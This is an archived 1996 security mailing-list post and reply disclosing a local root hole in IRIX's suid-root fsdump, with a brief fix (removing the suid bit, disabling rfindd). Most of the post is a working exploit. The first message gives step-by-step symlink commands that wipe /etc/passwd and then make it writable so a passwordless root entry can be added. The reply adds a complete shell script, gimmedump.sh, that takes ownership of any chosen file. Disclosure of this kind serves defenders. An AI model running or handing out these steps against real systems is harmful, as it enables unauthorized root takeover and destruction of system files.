IRIX fsdump hole

Howdy,

In our continuing effort to make bugfree future closer and have some fun on
the way, one more example of buggy Irix program carrying suid bit is brought
to you for your added enjoyment.  If it sounds like a broken record to you,
that's because it is. Bugs are there, and a lot of them, all look alike, so
the gap between regular and superuser in Irix is closing.  It's hardly
there right now, in fact.

ABSTRACT

/var/rfindd/fsdump is owned by root, has suid bit set by default and has
bugs.  It allows local users to create zero-length files anywhere on the
system.  If the file already exists, content is lost.  With little work, it
can be converted to root compromise. 5.3 is is affected, 6.2 doesn't seem to
have it, at least not on a standard installation.

FIX.

chmod -s /var/rfindd/fsdump

This will break it.  But the whole idea of rfind is sort of risky, and I
haven't heard about people using it a lot, so if you are concerned about the
security on your system, you may want as well to do this:

chkconfig rfindd off

Or, alternatively, you can wait for a patch from SGI.  Chances are, it'll be
out this millenium (but I wouldn't bet on it).

Full story.

Yes, I know it's Thanksgiving and people are supposed to eat turkey and give
thanks, not post exploits, but what the hell.  For some people this is the
best present.  And I finally got some free time on my hands.

Hacking fsdump doesn't require any standard steps.  Just run it and see what
happens.  In the current directory, zero-length file is created, named after
the dump file with extension .lock.  For example, if your command is

/var/rfindd/fsdump -F/tmp/rfd /

then rfd.lock will be created.  And it's owned by root.  Sure sign.  Rule of
thumb tells us the next thing: symlink .lock file to somethign else, say,
/.rhosts (yes, I know there are other means of hacking a system, but I just
like .rhosts 'cos it's the easiest and I'm lazy).  If there's no /.rhosts,
it'll be created.  If there was one, contents is gone, it's zero-length now.

So right away we've got a great denial-of-service attack. Nuke on will. But
with little work, it can go further than that.  Suid programs are good in
many ways, especially in how they handle non-standard situations. Most of
them change effective uid to user's, or give up root privileges in some
other way.  To be precise, most of them _try_.  Under normal conditions, it
works.  But what if /etc/passwd suddenly shrinked to zero size (maybe
because somebody played with fsdump)? setreuid() will fail, but poorly
written program, such as fsdump, will carry on anyway.  So, remembering that
fsdump can write logs (owned by user)

cp /etc/passwd /tmp/passwd
ln -s /etc/passwd rfd.lock
/var/rfindd/fsdump -F/tmp/rfd /
/var/rfindd/fsdump -L/etc/passwd -F/tmp/rfd /

First fsdump will nuke /etc/passwd, so that the second one fails to give up
root privileges.  If you think you can now write to /etc/passwd, you are
right.  /etc/passwd will be owned by you.  So edit it, delete all that
crap that fsdump puts there, all you need is

root::0:0::/:/bin/sh

Now su and enjoy.  Remember to restore the original password file, possibly
fitting it for your needs at the same time and chowing it back to root.

Complaints.

Once again, why in the world is this thing root-suid?  Who else except root
is supposed to run it?  rfindd?  Man page says it needs to be suid to read
raw device file.  Hm.  Experience shows that such things can be done without
root-suid but by elaborate groups setup.  If it's indeed to hard for SGI to
implement, then fsdump needs to be run by root.  Whe whole idea of rfindd
user is too obscure to me.  Anyway, why all "value-added" stuff in Irix is
always written in a sloppy way?  When I read phrases like "rfind is a fast,
client-server adaptation of the find(1) command" it scares me.  One more
network daemon written in a sloppy way is the last thing I need, I don't
want my machine to be a server for somebody's "fast client".  Good thing
it's dropped in 6.2 (though no one probably noticed).

I now respect SGI for its self-confidence.  Some other companies, for some
reasons more worried about such low-priority things as security, tend to
overreact when a hole is discovered in their software.  Look at IBM.  Bug
was found in AIX that merely allows users to read first 256 bytes of
normally unreadable files.  Big deal.  But IBM reacts right away and
releases PTF shortly and while work is in progress, recommends people to
remove suid bit temporarily.  Now look at SGI.  Severals exploits are posted
that provide easy root for everybody.  Weeks go by, SGI is confident and
silent, no comments, no patches.  Still way to go to catch up with HP, of
course, but it's on the right track.

cheers and happy holidays,

yuri
Always speaking for myself and only for myself

From:  Jaechul Choe (poison@cosmos.kaist.ac.kr)
Date:  Tue, 3 Dec 1996 00:03:54 +0900 

      
> ABSTRACT
>
> /var/rfindd/fsdump is owned by root, has suid bit set by default and has
> bugs.  It allows local users to create zero-length files anywhere on the
> system.  If the file already exists, content is lost.  With little work, it
> can be converted to root compromise. 5.3 is is affected, 6.2 doesn't seem to
> have it, at least not on a standard installation.
>

Exploiting fsdump just one time you can change the owner of any file
to yourself. Didn't you see the program changes the owner of .pag & .dir files
to the user running it?
I've found the bug several weeks ago and now post a lame exploit script
that was put aside.

IRIX 6.2's fsdump was vulnerable also. Is it safe from the zero length
.lock file creation?

-------)<--------------------------------------------------------)<-------
#!/bin/sh
# gimmedump.sh
#
# This exploits the serious vulnerability in IRIX's fsdump(1M) program
# and attempts to change the owner of an arbitrary file to yourself.
# (You know /etc/passwd is an excellent target.)
# Tested on both IRIX 5.3 and IRIX64 6.2
# I think this bug may be exploited on any version of IRIX machines
# currently running.
# Here are some system call traces on the program, which show what
# the problem is:
#
#  379mS getuid() = 1128 euid=0
#  379mS getuid() = 1128 euid=0
#  379mS getuid() = 1128 euid=0
#  379mS getgid() = 20 egid=20
#  379mS chdir(/usr/var/tmp/) OK
#  380mS chmod(gimme, 0644) errno = 2 (No such file or directory)
#  380mS chown(gimme, 1128, 20) errno = 2 (No such file or directory)
#  380mS chmod(fsdump.pag, 0644) OK
#  380mS chown(fsdump.pag, 1128, 20) OK
#  380mS chmod(fsdump.dir, 0644) OK
#  381mS chown(fsdump.dir, 1128, 20) OK
#
# 1996 10.23    Jaechul Choe, CS Dept. in KAIST, Republic of Korea
#               poison@worak.kaist.ac.kr

PROG="`basename $0`"
if [ $# -ne 1 ]; then
        echo "Usage: $PROG "
        exit 1
fi

if [ ! -f /var/rfindd/fsdump ]; then
        echo "fsdump doesn't exist! - exiting"
        exit 1
fi

cd /tmp
ln -s $1 fsdump.dir
echo "Be patient! It will take some time to run."
echo "If you can't really wait, strike Ctrl-Z and see to the target file.\n"
/var/rfindd/fsdump -Fgimme /
echo "\nDone. Here is the result."
ls -al $1
rm -f fsdump.dir fsdump.pag gimme
exit 0